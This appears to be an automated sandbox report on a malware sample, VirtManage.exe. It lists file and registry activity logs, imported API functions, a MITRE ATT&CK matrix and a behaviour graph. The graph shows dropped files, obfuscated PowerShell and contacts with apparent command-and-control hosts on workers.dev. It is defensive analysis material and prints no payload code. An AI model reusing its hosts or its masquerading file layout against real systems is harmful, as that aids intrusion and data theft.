Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0513~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Windows.StartLayout.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.Windows.StartLayout.Commands.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-UEV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\UEV\Microsoft.Uev.Commands.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Whea\Microsoft.Windows.Whea.WheaMemoryPolicy.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\WindowsErrorReporting\Microsoft.WindowsErrorReporting.PowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\WindowsSearch\Microsoft.WindowsSearch.Commands.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.WindowsSearch.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsSearch.Commands.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Users\user\Desktop\VirtManage.exeCode function: 0_2_00403552 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrlenW,wsprintfW,GetFileAttributesW,DeleteFileW,SetCurrentDirectoryW,CopyFileW,OleUninitialize,ExitProcess,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,0_2_00403552
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid
Source: C:\Windows\SysWOW64\msiexec.exeRegistry key created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\503006091D97D4F5AE39F7CBE7927D7D652D3431 BlobJump to behavior
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 1_2_0049C5F0 sqlite3_db_handle,sqlite3_bind_parameter_count,sqlite3_bind_int,sqlite3_bind_int64,sqlite3_prepare_v2,sqlite3_bind_blob,sqlite3_bind_text,sqlite3_step,sqlite3_column_text,sqlite3_column_type,sqlite3_step,gcry_free,sqlite3_reset,sqlite3_errstr,strlen,sqlite3_malloc,memcpy,sqlite3_column_count,gcry_xmalloc,sqlite3_column_name,sqlite3_errmsg,strlen,sqlite3_malloc,memcpy,sqlite3_finalize,gpgrt_log_fatal,_gpgrt_log_assert,gpgrt_log_fatal,_gpgrt_log_assert,gpgrt_log_fatal,gpgrt_log_fatal,gpgrt_log_fatal,strlen,_gpg_w32_gettext,1_2_0049C5F0
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 1_2_004AC8D0 _gpg_w32_bindtextdomain,_gpg_w32_textdomain,1_2_004AC8D0
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 3_2_0049C5F0 sqlite3_db_handle,sqlite3_bind_parameter_count,sqlite3_bind_int,sqlite3_bind_int64,sqlite3_prepare_v2,sqlite3_bind_blob,sqlite3_bind_text,sqlite3_step,sqlite3_column_text,sqlite3_column_type,sqlite3_step,gcry_free,sqlite3_reset,sqlite3_errstr,strlen,sqlite3_malloc,memcpy,sqlite3_column_count,gcry_xmalloc,sqlite3_column_name,sqlite3_errmsg,strlen,sqlite3_malloc,memcpy,sqlite3_finalize,gpgrt_log_fatal,_gpgrt_log_assert,gpgrt_log_fatal,_gpgrt_log_assert,gpgrt_log_fatal,gpgrt_log_fatal,gpgrt_log_fatal,strlen,_gpg_w32_gettext,3_2_0049C5F0
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 3_2_004AC8D0 _gpg_w32_bindtextdomain,_gpg_w32_textdomain,3_2_004AC8D0
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 3_2_6663C542 sqlite3_bind_int,sqlite3_bind_int,sqlite3_column_int,sqlite3_step,sqlite3_reset,sqlite3_mprintf,sqlite3_prepare_v2,sqlite3_free,sqlite3_column_int64,sqlite3_column_text,sqlite3_column_bytes,sqlite3_step,sqlite3_finalize,3_2_6663C542
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 3_2_665B6564 sqlite3_value_frombind,3_2_665B6564
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 3_2_666385D2 sqlite3_bind_int,sqlite3_step,sqlite3_column_int,sqlite3_reset,3_2_666385D2
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 3_2_666345A5 sqlite3_bind_int64,sqlite3_step,sqlite3_column_int,sqlite3_reset,3_2_666345A5
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 3_2_665B6260 sqlite3_clear_bindings,sqlite3_mutex_enter,sqlite3_mutex_leave,3_2_665B6260
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 3_2_6663A237 sqlite3_bind_int64,sqlite3_bind_int,sqlite3_step,sqlite3_column_int64,sqlite3_column_int64,sqlite3_column_bytes,sqlite3_column_blob,sqlite3_reset,sqlite3_free,memcpy,memcpy,memcpy,sqlite3_free,sqlite3_reset,3_2_6663A237
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 3_2_665B82B4 sqlite3_transfer_bindings,3_2_665B82B4
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 3_2_665B8062 sqlite3_bind_zeroblob,sqlite3_mutex_leave,3_2_665B8062
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 3_2_666340EA sqlite3_value_type,sqlite3_value_type,sqlite3_value_int64,sqlite3_value_int,sqlite3_bind_int,sqlite3_value_type,sqlite3_value_type,sqlite3_value_type,sqlite3_bind_value,sqlite3_step,sqlite3_reset,sqlite3_last_insert_rowid,3_2_666340EA
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 3_2_665B80CA sqlite3_bind_zeroblob64,sqlite3_mutex_enter,sqlite3_bind_zeroblob,sqlite3_mutex_leave,3_2_665B80CA
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 3_2_665B815A sqlite3_bind_parameter_count,3_2_665B815A
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 3_2_665B81F6 sqlite3_bind_parameter_index,3_2_665B81F6
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 3_2_665B8181 sqlite3_bind_parameter_name,3_2_665B8181
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 3_2_6663A195 sqlite3_bind_int64,sqlite3_step,sqlite3_reset,3_2_6663A195
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 3_2_6663AFCA sqlite3_bind_int64,sqlite3_bind_int,sqlite3_step,sqlite3_column_blob,sqlite3_column_bytes,sqlite3_column_int64,sqlite3_reset,sqlite3_free,sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_bind_int64,sqlite3_bind_blob,sqlite3_bind_int64,sqlite3_bind_int,sqlite3_step,sqlite3_reset,sqlite3_bind_null,sqlite3_free,sqlite3_free,3_2_6663AFCA
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 3_2_66636C09 sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_step,sqlite3_column_type,sqlite3_reset,3_2_66636C09
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 3_2_66638CA6 sqlite3_bind_int,sqlite3_bind_int,sqlite3_column_int,sqlite3_step,sqlite3_reset,3_2_66638CA6
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 3_2_66636D25 sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,3_2_66636D25
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 3_2_66636DF1 sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,3_2_66636DF1
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 3_2_6663AADE sqlite3_bind_int64,sqlite3_bind_int,sqlite3_step,sqlite3_reset,3_2_6663AADE
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 3_2_6663AB7F sqlite3_bind_int64,sqlite3_realloc,sqlite3_column_int,sqlite3_step,sqlite3_reset,sqlite3_bind_int64,sqlite3_bind_int,sqlite3_bind_int,sqlite3_step,sqlite3_reset,sqlite3_free,3_2_6663AB7F
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 3_2_66636B1C sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_step,sqlite3_column_int64,sqlite3_reset,3_2_66636B1C

Mitre Att&ck Matrix

ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity InformationAcquire Infrastructure1
Replication Through Removable Media		1
Native API		1
DLL Side-Loading		1
DLL Side-Loading		1
Disable or Modify Tools		OS Credential Dumping11
Peripheral Device Discovery		Remote Services1
Archive Collected Data		1
Ingress Tool Transfer		Exfiltration Over Other Network Medium1
System Shutdown/Reboot
CredentialsDomainsDefault Accounts112
Command and Scripting Interpreter		1
DLL Search Order Hijacking		1
DLL Search Order Hijacking		11
Deobfuscate/Decode Files or Information		LSASS Memory3
File and Directory Discovery		Remote Desktop Protocol1
Clipboard Data		21
Encrypted Channel		Exfiltration Over BluetoothNetwork Denial of Service
Email AddressesDNS ServerDomain Accounts1
Service Execution		1
Windows Service		1
Access Token Manipulation		3
Obfuscated Files or Information		Security Account Manager115
System Information Discovery		SMB/Windows Admin SharesData from Network Shared Drive2
Non-Application Layer Protocol		Automated ExfiltrationData Encrypted for Impact
Employee NamesVirtual Private ServerLocal Accounts1
PowerShell		1
Office Application Startup		1
Windows Service		1
DLL Side-Loading		NTDS21
Security Software Discovery		Distributed Component Object ModelInput Capture3
Application Layer Protocol		Traffic DuplicationData Destruction
Gather Victim Network InformationServerCloud AccountsLaunchd1
Registry Run Keys / Startup Folder		11
Process Injection		1
DLL Search Order Hijacking		LSA Secrets1
Process Discovery		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC Scripts1
Registry Run Keys / Startup Folder		1
Masquerading		Cached Domain Credentials121
Virtualization/Sandbox Evasion		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items121
Virtualization/Sandbox Evasion		DCSync1
Application Window Discovery		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job1
Access Token Manipulation		Proc FilesystemSystem Owner/User DiscoveryCloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt11
Process Injection		/etc/passwd and /etc/shadowNetwork SniffingDirect Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement

Behavior Graph

Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1632485 Sample: VirtManage.exe Startdate: 08/03/2025 Architecture: WINDOWS Score: 46 95 nginx-server.paxivo2460.workers.dev 2->95 97 ec2-server.bayaj19162.workers.dev 2->97 103 Antivirus detection for dropped file 2->103 105 Multi AV Scanner detection for dropped file 2->105 107 Multi AV Scanner detection for submitted file 2->107 109 3 other signatures 2->109 10 VirtManage.exe 2 36 2->10         started        13 winapi.exe 2->13         started        16 gpg.exe 4 2->16         started        18 msiexec.exe 2->18         started        signatures3 process4 file5 85 C:\Users\user\AppData\Local\...\nsis7z.dll, PE32 10->85 dropped 87 C:\Users\user\AppData\Local\...\nsExec.dll, PE32 10->87 dropped 89 C:\ProgramData\Microsoft\...\winapi.exe, PE32+ 10->89 dropped 93 9 other malicious files 10->93 dropped 20 winapi.exe 10->20         started        23 7za.exe 6 10->23         started        26 msiexec.exe 11 10->26         started        33 9 other processes 10->33 121 Suspicious powershell command line found 13->121 123 Obfuscated command line found 13->123 28 powershell.exe 13->28         started        91 C:\ProgramData\Microsoft\...\7za.dll, PE32+ 16->91 dropped 31 msiexec.exe 1 1 18->31         started        signatures6 process7 dnsIp8 111 Suspicious powershell command line found 20->111 113 Obfuscated command line found 20->113 35 powershell.exe 20->35         started        71 C:\ProgramData\Microsoft\...\winapi.exe, PE32+ 23->71 dropped 73 C:\ProgramData\Microsoft\...\aclui.dll, PE32+ 23->73 dropped 75 C:\ProgramData\Microsoft\...\aclui-2.dll, PE32+ 23->75 dropped 40 conhost.exe 23->40         started        77 C:\Users\user\AppData\Local\...\MSIBE11.tmp, PE32 26->77 dropped 79 C:\Users\user\AppData\Local\...\MSIBD74.tmp, PE32 26->79 dropped 101 ec2-server.bayaj19162.workers.dev 172.67.153.11, 443, 49698, 49701 CLOUDFLARENETUS United States 28->101 115 Uses whoami command line tool to query computer and username 28->115 42 csc.exe 28->42         started        52 2 other processes 28->52 44 WmiPrvSE.exe 31->44         started        81 C:\ProgramData\Microsoft\...\7za.exe, PE32+ 33->81 dropped 46 conhost.exe 33->46         started        48 conhost.exe 33->48         started        50 conhost.exe 33->50         started        54 4 other processes 33->54 file9 signatures10 process11 dnsIp12 99 nginx-server.paxivo2460.workers.dev 188.114.97.3, 443, 49695, 49696 CLOUDFLARENETUS European Union 35->99 67 C:\Users\user\AppData\...\0dxyzzew.cmdline, Unicode 35->67 dropped 117 Uses whoami command line tool to query computer and username 35->117 119 Loading BitLocker PowerShell Module 35->119 56 csc.exe 35->56         started        59 conhost.exe 35->59         started        61 whoami.exe 35->61         started        69 C:\Users\user\AppData\Local\...\jvshszob.dll, PE32 42->69 dropped 63 cvtres.exe 42->63         started        file13 signatures14 process15 file16 83 C:\Users\user\AppData\Local\...\0dxyzzew.dll, PE32 56->83 dropped 65 cvtres.exe 56->65         started        process17

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.